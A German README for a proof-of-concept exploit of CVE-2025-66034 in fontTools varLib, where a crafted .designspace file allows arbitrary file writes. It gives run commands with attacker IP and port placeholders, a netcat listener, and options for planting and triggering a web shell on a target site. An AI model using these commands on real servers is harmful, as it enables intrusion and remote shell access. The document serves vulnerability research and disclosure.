
Proof-of-Concept-Exploit für CVE-2025-66034 in der fontTools-Pipeline zur Generierung variabler Schriftarten. Eine manipulierte .designspace-Datei ermöglicht die Kontrolle des Ausgabepfads, was beliebige Dateischreibvorgänge ermöglicht. Das Skript automatisiert die Erstellung der Payload, die Schriftgenerierung und den Upload, um das Problem zu demonstrieren.
Dieses Repo führt keine neue Schwachstelle ein.
Dies ist ein Proof-of-Concept-Exploit für CVE-2025-66034, der die Pipeline zur Generierung variabler Fonts in fontTools varLib betrifft.
Die Schwachstelle ermöglicht es Angreifern, den Ausgabedateinamen innerhalb einer manipulierten .designspace-Datei zu kontrollieren. Wird diese von einem verwundbaren Font-Generierungsdienst verarbeitet, kann dies zu beliebigem Schreiben von Dateien auf dem Server-Dateisystem führen.
Das Skript varlib_cve_2025_66034.py automatisiert die Payload-Erstellung, die Font-Generierung, den Upload und optional das Auslösen einer Shell.
nc-ListenerPython 3.9+
Abhängigkeiten installieren:
pip install fonttools requests
Netcat wird für den Listener benötigt, daher ist der folgende Befehl erforderlich, wenn Sie die Option --no-listen verwenden:
nc -lvnp <PORT_NUMBER>
Wenn Ihr Ziel ein selbst gehostetes Lab ist, das auf mysite.com läuft, und der Upload-Pfad, der Dateisystem-Schreibpfad und der webzugängliche Trigger-Pfad mit den Standardwerten im Skript übereinstimmen, können Sie es direkt ausführen.
Grundlegende Verwendung:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT>
Sehr wahrscheinlich verwendet das Ziel andere URLs oder Dateisystempfade; überschreiben Sie die Standardwerte mit den unten verfügbaren Optionen wie --url, --path und --trigger oder ändern Sie das Skript manuell
Hinweis: Die Namen der Multipart-Upload-Formularfelder können je nach Umgebung variieren. Wenn das Ziel nicht dieselben Formularfeldnamen wie das Skript verwendet, passen Sie diese im Abschnitt files an, bevor Sie den Exploit ausführen.
| Argument | Beschreibung |
|---|---|
--ip | IP des Angreifer-Listeners |
--port | Listener-Port |
--path | Ziel-Dateisystempfad, in den die Datei geschrieben wird (muss über das Web erreichbar sein, um eine Web-Shell auszulösen) |
--url | Upload-Endpunkt, Formular kann variieren |
--trigger | Basis-URL, die verwendet wird, um die geschriebene Payload nach dem Upload auszulösen |
--no-listen | Automatischen netcat-Listener deaktivieren |
Beispiel mit benutzerdefinierten Optionen:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT> --path /var/www/mysite.com/public --url http://mysite.com/tools/variable-font-generator/process --trigger http://mysite.com
.designspace-Datei erstellenBesonderer Dank und Respekt an:
Dieser Proof-of-Concept wird zu Bildungs- und Forschungszwecken bereitgestellt, um das Verständnis der Schwachstelle und ihrer Auswirkungen zu unterstützen.
Dieser Code wird ausschließlich zu Bildungs- und Forschungszwecken bereitgestellt.
Verwenden Sie diesen Exploit nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testgenehmigung haben.
Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden.